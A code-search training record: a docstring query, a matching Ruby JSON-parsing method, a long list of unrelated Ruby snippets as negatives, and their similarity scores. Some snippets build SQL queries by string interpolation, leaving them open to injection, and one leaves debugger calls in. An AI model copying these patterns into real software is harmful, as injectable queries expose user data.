[record_class, record_id.to_s].join(':')\n return key\n end", "def payload_key\n self.class.payload_key(@uuid)\n end", "def rowkey_as_string\n @gapi.bigtable_options.read_rowkey_as_string\n end", "def key_id; end", "def default_key_params(\n name: \"\",\n email: nil,\n comment: \"\",\n creation_date: Time.now,\n key_validity_seconds: 1.year\n )\n case creation_date\n when DateTime, Time, Date then creation_date\n else raise ArgumentError,\n \"creation_date: has to be a DateTime/Time/Date\"\n end\n\n expiration_date = if key_validity_seconds.present?\n date_format(creation_date + key_validity_seconds)\n end\n\n userid = \"#{name}#{comment.present? ? \" (#{comment})\" : ''}#{email.present? ? \" <#{email}>\" : ''}\".strip\n key_params(userid: userid, expiration_date: expiration_date)\n end", "def get_entity(table_name, partition_key, row_key, options = {})\n options[:partition_key] = partition_key\n options[:row_key] = row_key\n results = query_entities(table_name, options)\n results.length > 0 ? results[0] : nil\n end", "def create_row\n @tasksheet = Tasksheet.new\n @key = params[:key].to_i\n end", "def cached_row(table_key, row_key, &new_row_code)\n if cached_row = Report::Table::CachedRow.find_by_keys(table_key, row_key)\n new_row cached_row.data\n else\n result = new_row_code.call\n if result.class == ROW_CLASS\n return result\n else\n new_row(result)\n end\n end\n end", "def get_entity(table_name, partition_key, row_key, options={})\n options[:partition_key] = partition_key\n options[:row_key] = row_key\n results = query_entities(table_name, options)\n results.length > 0 ? results[0] : nil\n end", "def primary_key\n @json['profile']['primaryKey'] rescue nil\n end", "def batch_key(_record)\n raise \"Implement in child\"\n end", "def get_item(table_name, project, date)\n response = $client.get_item({\n key: {\n \"project\" => project,\n \"date\" => date,\n },\n table_name: table_name,\n })\n return {\n results: response.item,\n }\nend", "def flexible_key; end", "def record_key_for_dom_id(record); end", "def key\n\t\t\tself.class.key(user)\n\t\tend", "def by_row row, column = nil\n column = column_name_to_id column\n column.nil? ? @rows[row.to_i] : (@rows[row.to_i].nil? ? nil : @rows[row.to_i][column])\n end", "def get_key_for(time)\n \"#{time.year}/#{time.month}/#{time.day}/#{time.hour}\"\n end", "def find_preexisting_row(row)\n q = \"SELECT * FROM #{dimension_table} WHERE #{natural_key_equality_for_row(row)}\"\n q << \" AND #{scd_latest_version_field}\" if scd_type == 2\n\n result = connection.select_one(q)\n end", "def hash_key\n read_attribute(table_hash_key)\n end", "def get_user_data(user_id, key)\n # ap(get_user_data: {user_id: user_id, key: key})\n record = @user_data.find_one({\"_id\" => BSON::ObjectId(user_id)}, fields: {key => 1})\n if record\n record[key]\n else\n nil\n end\n end", "def make_key_hash_for_row(keys, row)\n key_hash = {}\n keys.each {|k|\n key_hash[k] = row[k]\n }\n \n key_hash\nend", "def missing_primary_key(source_row:, node_id:)\n # nothing\n end", "def key\n get_primary_key_value_map[self.class.table_name]\n end", "def next_key(keyspace, timestamp)\n keyspace.key(self.format(timestamp))\n end", "def missing_hash_key(key:, source_row:, node_id:)\n # nothing\n end", "def custom_key_identifier\n return @custom_key_identifier\n end", "def custom_key_identifier\n return @custom_key_identifier\n end", "def key\n return \"#{user}\"\n end", "def get_min_key()\n \n end", "def user_data_key\n self.prefix_key('user_data')\n end", "def user_data_key\n self.prefix_key('user_data')\n end", "def make_key(lock, user)\n # sharer_user_id faked\n key = make_guest_key(lock, user.account.email, user)\n return key\n end", "def rowid()\n #This is a stub, used for indexing\n end", "def key(row)\n [@counter.next, nil]\n end", "def create_row(params)\n\t\tself.google_doc.restart_session_if_necessary\n\t\treset_worksheet_obj if @worksheet_obj == nil\n\t\t# add the keys if they don't exist\n\t\tparams.each do | key, value |\n\t\t\tif(!@worksheet_obj.list.keys.include?(key))\n\t\t\t\tadd_column_key(key)\n\t\t\tend\n\t\tend\n\t\t# save key changes\n\t\tif(@worksheet_obj.dirty?)\n\t\t\t@worksheet_obj.synchronize\n\t\tend\n\t\t#push the new row\n\t\tnew_row = @worksheet_obj.list.push(params)\n\t\t@worksheet_obj.save\n\t\treturn new_row\n\tend", "def primary_key(table_name)\n pk = super\n\n if pk == CockroachDBAdapter::DEFAULT_PRIMARY_KEY\n nil\n else\n pk\n end\n end", "def get_entry_for_date(date)\n (START_ROWS..MAX_ROWS).each do |row|\n if parse_date(ws[row, DATE_COL]) == date\n return TimeEntry.new(date, ws, row)\n end\n end\n end", "def add_row_to_records(row, project_id)\n # Initialize\n @records = {} unless ! @records.nil?\n\n # If there's no date, we can't do anything with it\n return if row.start_date.nil?\n\n source = row.source_table_name\n country = normalize_country(row.country, row.currency_use)\n\n year = row.start_date.year\n month = row.start_date.month\n\n list_price = row.list_price_multiccy || 0.0\n\n ## Now the nasty code to search then initialize the aggregator storage\n if ! @records.has_key?(source)\n @records[source] = {}\n end\n\n if ! @records[source].has_key?(year)\n @records[source][year] = {}\n end\n\n if ! @records[source][year].has_key?(month)\n @records[source][year][month] = {}\n end\n\n if ! @records[source][year][month].has_key?(country)\n @records[source][year][month][country] = {}\n end\n\n if ! @records[source][year][month][country].has_key?(project_id)\n @records[source][year][month][country][project_id] = {}\n end\n\n if ! @records[source][year][month][country][project_id].has_key?(list_price)\n @records[source][year][month][country][project_id][list_price] = {}\n end\n\n if ! @records[source][year][month][country][project_id][list_price].has_key?(row.kdp_transaction_type)\n @records[source][year][month][country][project_id][list_price][row.kdp_transaction_type] = {}\n end\n\n if ! @records[source][year][month][country][project_id][list_price][row.kdp_transaction_type].has_key?(row.kdp_royalty_type)\n @records[source][year][month][country][project_id][list_price][row.kdp_transaction_type][row.kdp_royalty_type] = []\n end\n\n @records[source][year][month][country][project_id][list_price][row.kdp_transaction_type][row.kdp_royalty_type] << row\n end", "def row(row_id); get(\"#{link('rows')}/#{row_id}\"); end", "def get_user_id(reaktoruser_id)\n IdStore.get(:reaktoruser, reaktoruser_id)\n end", "def [](key)\r\n assert_exists\r\n arr_rows = rows\r\n return arr_rows[key - 1]\r\n end", "def create_row(params)\n # add the keys if they don't exist\n params.each do | key, value |\n if(!@worksheet_obj.list.keys.include?(key))\n add_key(key)\n end\n end\n # save key changes\n if(@worksheet_obj.dirty?)\n @worksheet_obj.synchronize\n end\n #push the new row\n @worksheet_obj.list.push(params)\n @worksheet_obj.save\n end", "def get_cache_key(user, key)\n return \"%06d:%s\" % [user.id, key]\n end", "def epic_key_for_initiative(initiative)\n if epic_key = get_integration_field(initiative.integration_fields, 'key')\n epic_key\n elsif issue_type = epic_issue_type\n create_issue_for_initiative(initiative, issue_type)[:key]\n end\n end", "def sub_querier_keys()\n ret = @columnNames\n ret << :user_id\n ret << :milestone_id\n return ret\n end", "def grid_row(r)\n {\n :id => r.id,\n :cell => @columns.collect do |c|\n c[:custom] ? call_custom(c[:custom], r) : (r.attributes)[c[:field]]\n end\n }\n end", "def missing_primary_key(source_row:, node_id:)\n puts \"Missing primary key in '#{source_row}' for #{node_id}\"\n end", "def flat_row_hash(student, all_service_types)\n student_fields = student.as_json.except(*[\n 'created_at',\n 'updated_at',\n 'student_address',\n 'hispanic_latino',\n 'race'\n ])\n\n additional_student_fields = {\n student_risk_level: student.student_risk_level.level,\n discipline_incidents_count: student.most_recent_school_year.discipline_incidents.count,\n absences_count: student.most_recent_school_year.absences.count,\n tardies_count: student.most_recent_school_year.tardies.count,\n homeroom_name: student.try(:homeroom).try(:name)\n }\n\n # unroll all service types\n student_service_type_ids = student.services.active.map(&:service_type_id)\n service_fields = all_service_types.reduce({}) do |hash, service_type|\n service = student.services.active.find {|service| service.service_type_id == service_type.id }\n value = if service.nil? then '' else service.date_started.strftime(\"%Y-%m-%d\") end\n hash[\"#{service_type.name} (active_service_date_started)\"] = value\n hash\n end\n\n # Unroll all event note types.\n # This will include the presence of restricted notes, but only the date and\n # no content.\n all_event_note_types = EventNoteType.all\n event_note_type_ids = student.event_notes.map(&:event_note_type_id)\n event_note_fields = all_event_note_types.reduce({}) do |hash, event_note_type|\n event_note = student.event_notes.find {|event_note| event_note.event_note_type_id == event_note_type.id }\n value = if event_note.nil? then '' else event_note.recorded_at.strftime(\"%Y-%m-%d\") end\n hash[\"#{event_note_type.name} (last_event_note_recorded_at)\"] = value\n hash\n end\n\n student_fields\n .merge(additional_student_fields)\n .merge(service_fields)\n .merge(event_note_fields)\n .stringify_keys!\n end", "def getRowConst row\n @row_refs[row]\n end", "def missing_hash_key(key:, source_row:, node_id:)\n puts \"Missing hash key '#{key}' in join for #{node_id}\"\n end", "def construct_table_row(user)\n result = {}\n result[:id] = user.id\n result[:user_name] = CGI.escapeHTML(user.user_name)\n result[:first_name] = CGI.escapeHTML(user.first_name)\n result[:last_name] = CGI.escapeHTML(user.last_name)\n @render_note_link = false\n if user.student?\n result[:grace_credits] = user.remaining_grace_credits.to_s + '/' + user.grace_credits.to_s\n if user.has_section?\n result[:section] = user.section.name\n else\n result[:section] = '-'\n end\n @render_note_link = true\n end\n result[:hidden] = user.hidden\n result[:filter_table_row_contents] =\n render_to_string :partial => 'users/table_row/filter_table_row',\n :formats => [:html], :handlers => [:erb],\n :locals => {:user => user,\n :controller => self.controller_name,\n :render_note_link => @render_note_link}\n result\n end", "def assign_key(record, _payload, key)\n record[record.class.primary_key] = key\n end", "def key\n to_a[0..(num_key_fields-1)].join(\"-\")\n end", "def [](date)\n to_h[Date.parse(date)]\n end", "def row(target_row, opts={'return_data' => true})\n update if running?\n if succeeded?\n row_id = target_row['_id']\n res = get(link('rows') +'/'+row_id, params={:return_data => opts['return_data']})\n return res['row']\n elsif running?\n raise VeritableError.new(\"Grouping on column #{column_id} is still running and not yet ready to return groups.\")\n elsif failed?\n raise VeritableError.new(\"Grouping on column #{column_id} has failed and cannot return groups.\")\n else\n raise VeritableError.new(\"Grouping -- Shouldn't be here -- please let us know at [email protected].\")\n end\n end", "def insert_row_for_timestamp(timestamp:, key:, type:, value:, question: nil, source:, import_id:, matched_date:)\n raise \"invalid type #{type}\" unless [\"boolean\", \"range\", \"number\", \"text\"].include?(type)\n\n new_entry = generate_timestamp_details_based_on_timestamp(timestamp)\n existing_entries = raw_data.where(\n timestamp: timestamp.to_i * 1000,\n matcheddate: matched_date,\n key: key,\n )\n\n if existing_entries.count == 1\n existing_entry = existing_entries.first\n if existing_entry[:source] == source && existing_entry[:value].to_s == value.to_s # to_s to work with nil, and numbers also\n puts \"#{matched_date} #{key} Verified existing entry from import_id #{existing_entry[:importid]} is valid & matching...\"\n else\n # TODO: This means the value has changed, it will be fine to just update the entry probably\n binding.pry\n end\n elsif existing_entries.count > 1\n binding.pry # TODO: how to handle\n else\n new_entry[:key] = key\n new_entry[:question] = question\n new_entry[:type] = type\n new_entry[:value] = value\n new_entry[:source] = source\n new_entry[:importedat] = DateTime.now\n new_entry[:importid] = import_id\n new_entry[:matcheddate] = matched_date\n raw_data.insert(new_entry)\n puts \"--- Successfully backfilled entry for #{key} to #{value} on #{new_entry[:yearmonth]}-#{new_entry[:day]}\"\n end\n end", "def cache_testcase_oid(header, row) #{\n testcase_fid = row[header[0]].strip # Rally FormattedID\n testcase_oid = row[header[1]].strip # Rally ObjectID\n testcase_id = row[header[2]].strip # Caliber \"id=\"\n testcase_tag = row[header[3]].strip # Caliber \"tag=\"\n testcase_name = row[header[4]].strip # Caliber Req Name\n\n @testcase_TagFidOidName_by_reqid[testcase_id] = [testcase_tag, testcase_fid.to_s, testcase_oid.to_s, testcase_name]\n\nend", "def [](key)\n case key\n when Integer\n msg = \"index '#{key}' out of range\"\n raise UserError, msg unless (0..size - 1).cover?(key.abs)\n\n rows[key]\n when String\n msg = \"header '#{key}' not in table\"\n raise UserError, msg unless headers.include?(key)\n\n column(key).items\n when Symbol\n msg = \"header ':#{key}' not in table\"\n raise UserError, msg unless headers.include?(key)\n\n column(key).items\n else\n raise UserError, \"cannot index table with a #{key.class}\"\n end\n end", "def cache_story_oid(header, row) #{\n story_fid = row[header[0]].strip # Rally FormattedID\n story_oid = row[header[1]].strip # Rally ObjectID\n req_id = row[header[2]].strip # Caliber \"id=\"\n req_tag = row[header[3]].strip # Caliber \"tag=\"\n req_name = row[header[4]].strip # Caliber Req Name\n\n if !req_id.eql? nil then\n @story_oid_by_reqid[req_id] = story_oid.to_s\n end\n\n if !req_name.eql? nil then\n @req_name_by_reqid[req_id] = req_name\n end\n\n @story_TagFidOidName_by_reqid[req_id] = [req_tag, story_fid.to_s, story_oid.to_s, req_name]\n\nend", "def colrow_record() @records.get(GRT_COLROW); end", "def primary_key(name, type = :primary_key, options = {})\n return super unless type == :uuid\n options[:default] = options.fetch(:default, 'uuid_generate_v4()')\n options[:primary_key] = true\n column name, type, options\n end", "def primary_key(name, type = :primary_key, options = {})\n return super unless type == :uuid\n options[:default] = options.fetch(:default, 'uuid_generate_v4()')\n options[:primary_key] = true\n column name, type, options\n end", "def read_input_row(row)\n row_out = {}\n schema.columns.each do |name, col|\n # use nil if row doesn't exist in input\n row_out[name] = row.fetch(name, nil)\n end\n row_out \n end", "def primary_key_lookup(pk)\n if sql = @fast_pk_lookup_sql\n sql = sql.dup\n ds = dataset\n ds.literal_append(sql, pk)\n ds.fetch_rows(sql){|r| return ds.row_proc.call(r)}\n nil\n else\n dataset.first(primary_key_hash(pk))\n end\n end", "def get(key, timestamp)\n \n end", "def build_row_hash(row)\n if(!row.cells[0].value) # skip empty rows\n return nil # Skip row if no name or header\n elsif(row.cells[0].datatype == \"s\" && row.cells[0].value.match(/name|item|\\A\\D*\\Z/i))\n @errors << { :part_number => \"N/A\", :condition => \"N/A\", :message => \"Found and skipped excel header\" }\n return nil # Skip row if header\n end\n\n product_name = row.cells[0].value.to_s\n\n # If name is mopar part number\n if product_name.match(/^\\d{7}/)\n product_name = product_name[0,7]\n end\n\n # handle date formatting from excel\n if row.cells[1].value.is_a?(DateTime)\n my_category = row.cells[1].value.strftime(\"%-m-%-d\")\n else\n my_category = row.cells[1].value.to_s\n end\n\n @product_row = {\n :name => product_name,\n :category => my_category,\n :description => (row.cells[2] ? row.cells[2].value.tr('***', '').chomp('-') : ''),\n :meta_keywords => (row.cells[3] ? row.cells[3].value : ''),\n :price => (row.cells[9] ? row.cells[9].value : 0),\n :core => (row.cells[10] ? row.cells[10].value : 0),\n :cost => (row.cells[15] ? row.cells[15].value : 0),\n :vendor => (row.cells[16] ? row.cells[16].value : ''),\n :vendor_price => (row.cells[17] ? row.cells[17].value : 0),\n :vendor_part_number => (row.cells[18] ? row.cells[18].value : ''),\n :length => (row.cells[19] ? row.cells[19].value : ''),\n :width => (row.cells[20] ? row.cells[20].value : ''),\n :height => (row.cells[21] ? row.cells[21].value : ''),\n :weight => (row.cells[22] ? row.cells[22].value : ''),\n :notes => (row.cells[12] ? row.cells[12].value : ''),\n :application => (row.cells[4] ? row.cells[4].value : ''),\n :location => (row.cells[5] ? row.cells[5].value : ''),\n :condition => (row.cells[6] ? row.cells[6].value : ''),\n :cross_ref => (row.cells[7] ? row.cells[7].value : ''),\n :cast_num => (row.cells[8] ? row.cells[8].value : ''),\n :available => (row.cells[13] ? row.cells[13].value : 'N'), # for sale? (count in inventory)\n :active => (row.cells[14] ? row.cells[14].value : 'FALSE'), # active (visible to users)\n :quantity => (row.cells[11] ? row.cells[11].value : 0),\n :package => (row.cells[23] ? row.cells[23].value : '')\n }\n\n end", "def get_first_key(hash)\n return \nend", "def payload(id, username)\n {\n exp: (Time.now + 30.minutes).to_i,\n iat: Time.now.to_i,\n iss: ENV['JWT_ISSUER'],\n user: {\n id: id,\n username: username\n }\n }\n end", "def payload(id, username)\n {\n exp: (Time.now + 30.minutes).to_i,\n iat: Time.now.to_i,\n iss: ENV['JWT_ISSUER'],\n user: {\n id: id,\n username: username\n }\n }\n end", "def user_to_row(user)\n [user.key,\n user.class,\n nil,\n nil] + user.load_curve.to_a\n end", "def display_user_hours_date(user_id, start_date)\n db_params = {\n host: ENV['host'],\n port: ENV['port'],\n dbname: ENV['dbname'],\n user: ENV['user'],\n password: ENV['password']\n }\n db = PG::Connection.new(db_params)\n week_hours = db.exec(\"SELECT * FROM payperiod_hours WHERE user_id = '#{user_id}' AND start_date = '#{start_date}'\").values\n db.close\n week_hours\nend", "def user_csv_import(row)\n {\n 'user' => {\n 'content' => {\n 'email' => row[0],\n 'login' => row[1],\n 'firstname' => row[2],\n 'lastname' => row[3]\n },\n 'meta' => {}\n }\n }\n end" ]
[ "0.6144664", "0.5930717", "0.5823994", "0.5760261", "0.55676514", "0.5500636", "0.5498921", "0.5495736", "0.5444512", "0.54259473", "0.54196036", "0.5337861", "0.53022885", "0.52933615", "0.52769846", "0.5215267", "0.5195172", "0.5192802", "0.5181331", "0.51695144", "0.5157359", "0.5141927", "0.5116679", "0.5106089", "0.50864506", "0.5073533", "0.50457686", "0.504167", "0.5012063", "0.5011531", "0.49937803", "0.49908978", "0.49837962", "0.49672478", "0.49649447", "0.49578696", "0.49518558", "0.4937857", "0.4934959", "0.49314204", "0.49306375", "0.4916445", "0.49119294", "0.49108765", "0.4901623", "0.48935518", "0.48925295", "0.48853165", "0.48825938", "0.48660645", "0.48396912", "0.48365033", "0.4822141", "0.48220134", "0.48156598", "0.48156598", "0.48146254", "0.48116213", "0.47993097", "0.47993097", "0.4795634", "0.47912794", "0.47762957", "0.47672048", "0.476511", "0.47623342", "0.47539058", "0.47472578", "0.47325882", "0.47305003", "0.47243753", "0.47229108", "0.4714858", "0.47079468", "0.4705246", "0.4697596", "0.46939585", "0.4693113", "0.46910298", "0.4689493", "0.46869084", "0.46799582", "0.46792322", "0.46784663", "0.4676734", "0.46745282", "0.46739465", "0.46658954", "0.46534795", "0.465154", "0.465154", "0.46450555", "0.4645044", "0.46333137", "0.46323413", "0.4621748", "0.4618864", "0.4618864", "0.46178478", "0.46110082", "0.46086797" ]
0.0
-1
Return sensation message as hash or nil if message doesn't pass validation
def sensation_parse_message(json_str) m = JSON.parse(json_str) if m["duration_watched"] > 100000 @logger.warn "Dropping message '#{m.inspect}'" return nil end m end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def not_valid_message; nil; end", "def not_valid_message; nil; end", "def message\n @props.fetch(:message, \"must be valid\")\n end", "def pretty_hash_message(msg_hash)\n message = msg_hash['message']\n if msg_hash['errors']\n msg_hash['errors'].each do |k,v|\n if msg_hash['errors'][k]\n message = \"#{message}:\\n#{k}: #{v}\"\n end\n end\n end\n message\n end", "def create_valid_message hash\n attributes = { \n subject: 'A valid subject',\n body: 'A valid body should have at least 40 characters ' +\n \"*\"*40\n }\n Message.new( attributes.merge(hash) )\n end", "def sanitized_message\n message.to_s[0,140]\n end", "def get_message()\n m = @RESPONSE_HASH['MESSAGE']\n if (m == nil or m == \"\")\n return \"ERROR - NO MESSAGE FROM BLUEPAY\"\n end\n return m\n end", "def message_hash\n return unless model_name\n\n { model_name => item_message }\n end", "def to_h\n @to_h ||= failures ? messages_map : messages_map(hints)\n end", "def message # :nodoc:\n @properties['errorMessage'].dup\n end", "def message\n @error['message']\n end", "def error_message\n @data[\"message\"]\n end", "def msg\n self['msg']||{}\n end", "def message\n @values['message']\n end", "def email_message_sections\n if email_message\n errors.add(:value, 'email_message missing sections') if JSON.parse(@email_message.to_json).keys.size.eql?(0)\n end\n end", "def to_h\n validate.output\n end", "def user_message\n return _translate if description.present? || tkey.present?\n return \"#{_translate} (#{user_digests})\" unless defined?(@coaster)\n message\n rescue => e\n \"#{message} (user_message_error - #{e.class.name} #{e.message})\"\n end", "def message\n @params['ErrorMessage']\n end", "def to_h\n {\n response_type: 'ephemeral',\n text: 'Sorry, I could not send your message',\n attachments: errors.flat_map { |message| { text: message } }\n }\n end", "def message\n message_hash || 'The item could not be found'.freeze\n end", "def to_s; message; end", "def failure_validation_value\n field = validation_result.errors.keys.first\n {\n error: 'ValidationError',\n field: field,\n reason: \"#{field}: #{validation_result.errors[field].first}\"\n }\n end", "def real_message\n m = full_message.split(\"\\n\").reject { |l| l.start_with?('#', \"#{SIG_KEY}:\") }.join(\"\\n\")\n /\\A\\s*(.*?)\\s*\\Z/m.match(m).captures.first\n end", "def message\n @message ||= (request.GET[:msg] || Hash.new)\n end", "def message\n @data['message']\n end", "def message\n message = errors[:message]\n if message.class == String\n message\n elsif message.class == Array\n message.join\n end\n end", "def valid_send_properties\n {\n :$user_id => $user_id,\n\t :$send_to => $user_id,\n :$verification_type => '$email',\n :$brand_name => 'all',\n :$language => 'en',\n :$event => {\n :$session_id => 'gigtleqddo84l8cm15qe4il',\n :$verified_event => '$login',\n :$reason => '$automated_rule',\n :$ip => '192.168.1.1',\n :$browser => {\n :$user_agent => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'\n }\n }\n }\nend", "def cleaned_error_message(error)\n case error.class.to_s\n when \"PG::UniqueViolation\", \"ActiveRecord::RecordNotUnique\"\n error.message.to_s.gsub(/\\)=\\(.*\\)/, \")=(?)\")\n else\n error.message.to_s\n end\n end", "def get_message(key)\n msg = error_messages[key]\n return msg.nil? ? 'An unspecified error occurred.' : msg\n end", "def validate_and_sanitize\n\n validation_errors = []\n\n validation_errors << 'password_invalid' unless Util::CommonValidator.is_valid_password?(@password)\n validation_errors << 'confirm_password_invalid' if @confirm_password != @password\n\n validation_errors << 'invalid_r_t' if @r_t.blank?\n\n return validation_error(\n 'um_cp_1',\n 'invalid_api_params',\n validation_errors,\n GlobalConstant::ErrorAction.default\n ) if validation_errors.present?\n\n # NOTE: To be on safe side, check for generic errors as well\n r = validate\n return r unless r.success?\n\n decryptor_obj = EmailTokenEncryptor.new(GlobalConstant::SecretEncryptor.email_tokens_key)\n r = decryptor_obj.decrypt(@r_t)\n return r unless r.success?\n\n decripted_t = r.data[:plaintext]\n\n splited_reset_token = decripted_t.split(':')\n\n return invalid_url_error('um_rp_3') if splited_reset_token.length != 2\n\n @reset_token = splited_reset_token[1].to_s\n\n @user_validation_hash_id = splited_reset_token[0].to_i\n\n success\n end", "def email_cleaned\n {\n :list_id => data['list_id'],\n :fired_at => params['fired_at'],\n :campaign_id => data['campaign_id'],\n :email => data['email'],\n :reason => data['reason'],\n :human => \"#{data['email']} was cleaned from Mailchimp list with ID #{data['list_id']}. Reason: '#{data['reason']}'\"\n }\n end", "def error_message\n parsed_body.strip\n end", "def message_hash\n homepage = @homepage\n homepage = \"http://\" + homepage unless homepage.blank? || homepage.start_with?('http')\n title = @title || '無題'\n {\n old_id: @id,\n created_at: @created_at,\n updated_at: @updated_at,\n author: @author.present? ? @author : '無名',\n mail: @mail,\n homepage: homepage,\n title: @title.present? ? @title : '無題',\n content: @content.gsub(/<(br|BR)>/, \"\\n\"),\n remote_addr: @remote_address,\n message_type: 'photo',\n password: [*1..9, *'A'..'Z', *'a'..'z'].sample(8).join\n }\n end", "def message\n attributes.fetch(:message)\n end", "def extract_message(item)\n # message = item[\"message\"]\n # timestamp = DateTime.parse(item[\"@timestamp\"]).strftime(\"%Y-%m-%d %H:%M:%S\") rescue nil\n # from = REGEX_EMAIL.match(REGEX_FROM_EMAIL.match(message)[0])[0] rescue nil\n # to = REGEX_EMAIL.match(REGEX_TO_EMAIL.match(message)[0])[0] rescue nil\n # status = REGEX_STATUS.match(message)[0].split(\"=\")[1] rescue nil\n # subject = REGEX_SUBJECT.match(message)[0].split(\" \")[1..-2].join(\" \") rescue nil\n # error_message = ( status == \"deferred\" || status == \"bounced\" ) ? ( REGEX_ERROR_MESSAGE.match(message)[0] rescue nil ) : nil\n { :timestamp => item[:timestamp],\n :status => item[:status],\n :from => item[:from] ,\n :to => item[:to] ,\n :subject => item[:subject],\n }.merge( item[:error_message] ? { error_message: item[:error_message].split(\" \")[1..-1].join(\" \") } : {})\n end", "def getMessage()\n return @message\n end", "def to_hash\n {\n message: message,\n status: status\n }.compact\n end", "def message\n @options[:message] || \"failed validation\"\n end", "def to_s\n if message && !message.empty? && message.downcase != MAP[code]\n \"#{message} (#{MAP[code]}, #{code})\"\n else\n \"#{MAP[code]} (#{code})\"\n end\n end", "def error_messages_for_message(message)\n if message and !message.errors.empty? \n str = '<div style=\"margin:5px;color:red;border:1px solid red;\">'\n message.errors.each do |key, val|\n str += '<b> * '+ key.to_s.capitalize + '</b>: '+ val +' <br/>'\n end \n str += '</div>'\n end\n str.html_safe unless str.blank?\n end", "def clean_message\n self.message = Loofah.fragment(self.message).scrub!(:strip).text\n end", "def to_hash\n { :type => 'send',\n :dst => self.dst,\n :msj => self.msj,\n :smsc => self.smsc,\n :report => self.report,\n :validity => self.validity}\n end", "def custom_error_message\n message = component.dig('errors', schema_key, 'any')\n\n message % error_message_hash if message.present?\n end", "def error_message\n @response_attributes['ErrorMessage'];\n end", "def message\n @attributes[:message]\n end", "def message_hash msg\n {\n message: msg,\n type: self.class.name,\n id: self.id\n }\n end", "def message\n attributes[:message]\n end", "def to_jaxb_json_hash\n _h = {}\n _h['message'] = message.to_jaxb_json_hash unless message.nil?\n return _h\n end", "def expected_message_digest\n fixity_graph.query({ predicate: ::RDF::Vocab::PREMIS.hasMessageDigest }).first.try(:object).try(:to_s)\n end", "def attribute_to_check_message_against; end", "def failure_json\n { errors: 'Sorry you are not eligible for WellMatch' }\n end", "def clean_message(message); end", "def parse_error_message(error)\n if error.http_body.blank? || !is_json?(error.http_body)\n error.message\n else\n begin\n error_hash = JSON.parse(error.http_body)\n if error_hash.has_key?('message')\n # check if hash can be parsed further\n message = error_hash['message']\n if message.index('{').nil?\n return message\n else\n # attempt to extract nested JSON from message\n json_start = message.index('{')\n json = message[json_start, message.size + 1]\n new_message = JSON.parse(json)\n if new_message.has_key?('message')\n new_message['message']\n else\n new_message\n end\n end\n else\n return error.message\n end\n rescue => e\n # reporting error doesn't help, so ignore\n Rails.logger.error e.message\n error.message + ': ' + error.http_body\n end\n end\n end", "def to_s\n message\n end", "def to_s\n message\n end", "def error_message\n self[:error_message]\n end", "def to_h\n ms = messages.map { |m| m.to_h }\n\n {\n \"age\" => age,\n \"href\" => \"#{PATH_BASE}/#{@queue.name}/claims/#{@id}\",\n \"ttl\" => @ttl,\n \"messages\" => ms\n }\n end", "def error_check\n raise \"Subject is blank!\" if @message_config[:subject].strip.length == 0\n raise \"Subject is long!\" if @message_config[:subject].length > 120\n raise \"Body is blank!\" if @message_config[:body].strip.length == 0\n end", "def to_simple_message\n {\n text: self.message\n }\n end", "def error\n valid? ? nil : @error_message\n end", "def error\n return {error: \"\"}\n end", "def to_s\n message\n end", "def to_s\n message\n end", "def to_s\n message\n end", "def to_s\n message\n end", "def to_s\n message\n end", "def to_s\n message\n end", "def to_s\n message\n end", "def to_s\n message\n end", "def message?\n #errors.on(:message) != nil\n errors[:message] != nil\n end", "def describe_error\n message = \"\"\n if self.account_number == nil\n message = message + I18n.t(:wrong_or_missing_account_number, :scope => [:model, :index]) + \" \"\n end\n if self.account_bank_number == nil\n message = message + I18n.t(:wrong_or_missing_account_bank_number, :scope => [:model, :index]) + \" \"\n end\n if self.student.uic == nil\n message = message + I18n.t(:missing_uic, :scope => [:model, :index]) + \" \"\n end\n if self.sident == -666\n message = message + I18n.t(:missing_sident_666, :scope => [:model, :index]) + \" \"\n end\n if self.sident == nil\n message = message + I18n.t(:missing_sident, :scope => [:model, :index]) + \" \"\n end\n return message\n\n end", "def valid_message?(message)\n !!catch_and_ignore(:invalid_message_format) { extract_encoded(message) }\n end", "def as_json(options=nil)\n return {} if messages.empty?\n attribute, types = messages.first\n type = types.first\n\n {\n :error => {\n :param => attribute,\n :type => type,\n :message => nil\n }\n }\n end", "def fail_msg\n { :'message' => SendgridClient.exp_msg.reverse }.to_json\n end", "def get_general_error_message\n find('#form-message-general').text\n end", "def answer_hash\n default = { 'standards' => {}, 'text' => '' }\n begin\n h = text.nil? ? default : JSON.parse(text)\n rescue JSON::ParserError\n h = default\n end\n h\n end", "def extract_message(data)\n # interpret input data as binary\n data.force_encoding(\"binary\")\n obj = nil\n bin = nil\n if data =~ /^(\\d+):(\\d+)\\{/\n length_length = $1.size + 1 + $2.size\n overall_length, json_length = $1.to_i, $2.to_i\n\n if data.size >= length_length + overall_length\n data.slice!(0..(length_length-1))\n\n json = data.slice!(0..json_length-1)\n # there shouldn't be any non ascii-7-bit characters, transcode just to be sure\n # encode from binary to utf-8 with :undef => :replace turns all non-ascii-7-bit bytes\n # into the replacement character (\\uFFFD)\n json.encode!(\"utf-8\", :undef => :replace)\n obj = json_to_object(json)\n\n # we already forced data to be binary encoded\n bin = data.slice!(0..(overall_length-json_length)-1)\n end\n end\n if obj\n unescape_all_strings(obj)\n type = obj[\"_message\"]\n obj.delete(\"_message\")\n Message.new(type, obj, bin)\n else\n nil\n end\nend", "def to_s\n return self.message\n end", "def get_error_message(str)\n tmp=str.scan(/^ERROR MESSAGE --8<------\\n(.*?)ERROR MESSAGE ------>8--$/m)\n return \"Error message not available\" if !tmp[0]\n tmp[0][0].strip\n end", "def h2(msg)\n fail ReportError.new self, msg: 'util: can not h2 nil' if msg.nil?\n RbNaCl::Hash.sha256 RbNaCl::Hash.sha256 \"\\0\" * 32 + msg\n end", "def to_s\n\t\t\tmessage\n\t\tend", "def to_s\n missing_msg || future_msg || expired_msg || timestamp\n end", "def error_message\n return @error_message\n end", "def error\n\t\t{ \n\t\t\terror: { \n\t\t\t\tmessage: self.object[:message],\n\t\t\t\tfield: self.object[:field]\n\t\t\t} \n\t\t}\n\tend", "def get_message\n get_status[:message]\n end", "def to_s\n return \"sev:#{@severity} ts:#{@ts} msg:'#{@msg}'\" if fields.nil?\n \"pid:#{pid} hash:#{hash} sev:#{@severity} ts:#{@ts}\"\n end", "def processRegularUserMessage(message)\r\n return formatMessageText(message[:message])\r\n end", "def to_hash\n\n json = {\n :errorCode => @server_id,\n :transactionReceipt => @api_key\n }\n\n if @message_results.length > 0\n e = Array.new\n @message_results.each do |value|\n 